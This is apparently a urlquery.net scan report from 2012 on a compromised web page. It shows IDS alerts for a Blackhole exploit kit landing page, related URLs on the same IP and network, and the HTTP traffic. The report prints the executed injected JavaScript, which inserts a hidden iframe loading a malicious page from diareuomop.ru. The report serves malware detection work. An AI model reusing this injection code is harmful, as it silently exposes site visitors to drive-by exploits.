urlquery.net - Free url scanner

Overview

URL	http://www.360wco.com/gallery.htm
IP	61.152.91.38
ASN	AS4812 China Telecom (Group)
Location	China
Report completed	2012-11-05 20:06:28 CET
Status	Loading report..
urlQuery Alerts	Detected malicious iframe injection

Settings

UserAgent	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader	8.0
Java	1.6.0_26

Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-05 20:05:53	61.152.91.38	urlQuery Client	1	ET CURRENT_EVENTS Blackhole Landing Please wait a moment Jun 20 2012

Snort /w Sourcefire VRT

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-05 20:05:53	61.152.91.38	urlQuery Client	1	EXPLOIT-KIT Blackhole landing page download attempt
2012-11-05 20:05:53	61.152.91.38	urlQuery Client	1	EXPLOIT-KIT Blackhole landing page with specific structure
2012-11-05 20:05:53	61.152.91.38	urlQuery Client	1	INDICATOR-OBFUSCATION Javascript obfuscation - eval

Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 61.152.91.38

Date	Alerts / IDS	URL	IP
2013-01-10 16:05:37	0 / 0	http://61.152.91.38	61.152.91.38
2013-01-05 03:42:01	0 / 0	http://www.shmog.org/templates/default/images/shadowbox.css	61.152.91.38
2013-01-03 19:28:37	3 / 7	http://en.pymed.com.cn/mail.htm	61.152.91.38
2013-01-02 01:28:12	2 / 1	http://jinch.cn/irser.html	61.152.91.38
2012-12-27 10:37:16	2 / 5	http://jiechensh.9138.8008202191.com/upload.htm	61.152.91.38
2012-12-17 10:52:16	0 / 3	http://joyro.cn/forwarding.htm	61.152.91.38

Last 6 reports on ASN: AS4812 China Telecom (Group)

Date	Alerts / IDS	URL	IP
2013-04-01 00:34:33	0 / 3	http://fabzq8uoie.pppdiy.com/wd/xop.html	222.73.57.117
2013-04-01 00:34:19	0 / 1	http://fmz7ohtxbr.pppdiy.com/xy/index.html	222.73.57.117
2013-04-01 00:34:15	0 / 1	http://add23qbdbz.pppdiy.com/yl/xop.html	222.73.57.117
2013-04-01 00:34:13	0 / 1	http://mlkrdudc5u.pppdiy.com/wd/index.html	222.73.57.117
2013-04-01 00:34:10	0 / 3	http://vsm54z3jgo.pppdiy.com/xy/index.html	222.73.57.117
2013-04-01 00:32:10	0 / 3	http://fabzq8uoie.pppdiy.com/wd/xop.html	222.73.57.117

Last 1 reports on domain: www.360wco.com

Date	Alerts / IDS	URL	IP
2012-10-17 17:37:18	1 / 1	http://www.360wco.com/gallery.htm	61.152.91.38

JavaScript

Executed Scripts (3)

Executed Evals (1)

#1 JavaScript::Eval (size: 605, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://diareuomop.ru:8080/forum/links/column.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://diareuomop.ru:8080/forum/links/column.php');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

Executed Writes (0)

HTTP Transactions (4)

Request	Response
GET /gallery.htm HTTP/1.1 Host: www.360wco.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 200 OK Content-Type: text/html Date: Mon, 05 Nov 2012 19:04:43 GMT Server: Apache/2.2.3 (Red Hat) Last-Modified: Thu, 20 Sep 2012 10:46:00 GMT Etag: "3cd030d-f7d-d436ca00" Accept-Ranges: bytes Content-Length: 3965 Connection: close
GET /favicon.ico HTTP/1.1 Host: www.360wco.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Range: bytes=0- If-Range: "2c58325-153d-c65748c0"	HTTP/1.1 404 Not Found Content-Type: text/html Date: Mon, 05 Nov 2012 19:04:49 GMT Server: Apache/2.2.3 (Red Hat) Last-Modified: Tue, 08 Mar 2011 10:07:07 GMT Etag: "2c58325-153d-c65748c0" Accept-Ranges: bytes Content-Length: 5437 Connection: close
GET /forum/links/column.php HTTP/1.1 Host: diareuomop.ru:8080 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www.360wco.com/gallery.htm
GET /favicon.ico HTTP/1.1 Host: www.360wco.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 404 Not Found Content-Type: text/html Date: Mon, 05 Nov 2012 19:04:46 GMT Server: Apache/2.2.3 (Red Hat) Last-Modified: Tue, 08 Mar 2011 10:07:07 GMT Etag: "2c58325-153d-c65748c0" Accept-Ranges: bytes Content-Length: 5437 Connection: close